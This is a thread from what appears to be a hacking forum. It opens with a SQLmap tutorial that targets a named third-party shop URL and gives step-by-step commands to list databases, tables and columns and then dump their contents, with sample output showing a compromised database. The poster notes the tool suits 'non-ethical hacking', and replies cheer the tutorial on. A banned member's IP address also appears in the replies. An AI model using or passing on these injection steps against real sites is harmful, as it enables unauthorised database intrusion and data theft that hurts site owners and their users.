ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
Home
Upgrade
Credits
Help
Search
Awards
Achievements
 3922

SQLmap Tutorial

by Wolf - 11-29-2015 - 06:51 AM
#1
SQLmap Tutorial
by Scale

*NOTE: This is Linux not Windows!*


What is SQLmap? SQLmap is an open source automatic SQL Injection and database takeover tool. This is mainly used for "Ethical" hacking, but it can be used for non-ethical hacking.


Lets Begin Find a target site (Must be SQL Vulnerable).

Test Subject Site:

Input this Line in your SQLmap terminal (Replace the URL I placed with your targets)
Code:
# sqlmap -u http://www.ibookavenue.com/addcart.php?id=2' --dbs

Once it has found the Databases it should look like this:
Spoiler Show
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*]information_schema
[*]safecosmetics

[*]
The "Available databases" are the databases in your Targeted URL
[*]Now you are going to want to find the Tables in the database (Change databasename to the database you want to find tables in)

Code:
# sqlmap -u http://www.ibookavenue.com/addcart.php?id=2' -D databasename --tables




[*]
You should have gotten a list of tables
[*]Now you are going to want to find Columns using in the tables (Change tablename to the table you would like to find Columns in)

Code:
# sqlmap -u http://www.ibookavenue.com/addcart.php?id=2' -D databasename -T tablename --columns





[*]Now we will want to retrieve the Data (Change ColumnName1,2,3 to the desired Columns you want to dump)

Code:
# sqlmap -u http://www.ibookavenue.com/addcart.php?id=2' -D databasename -T tablename -C columnname1,columnname2,columnname3 --dump




[*]After this it should say what directory the information has been stored to, where you can access it whenever you'd like!
Reply
#2
Good shit Scale, keep up these HQ tuts!
[Image: fi1z8QY.jpg]


DemonForums Co-Founder
Reply
#3
Nice HQ Post Man! Keep It Up! OP
Quote:"You cant fix stupid."
Reply
#4
(11-29-2015 - 07:30 AM)Joker Wrote: Good shit Scale, keep up these HQ tuts!

Thanks Joker, and I will!
Reply
#5
Will surely help people out, thanks for the tut.
This account is currently banned
Ban reason: Goodbye. | IP: 173.217.51.216 - Email: [email protected]
Reply
#6
(11-29-2015 - 10:06 AM)Buzz Wrote: Will surely help people out, thanks for the tut.

I hope it does :)
Reply
#7
Nice tutorial
/202020
Reply

Users browsing: 2 Guest(s)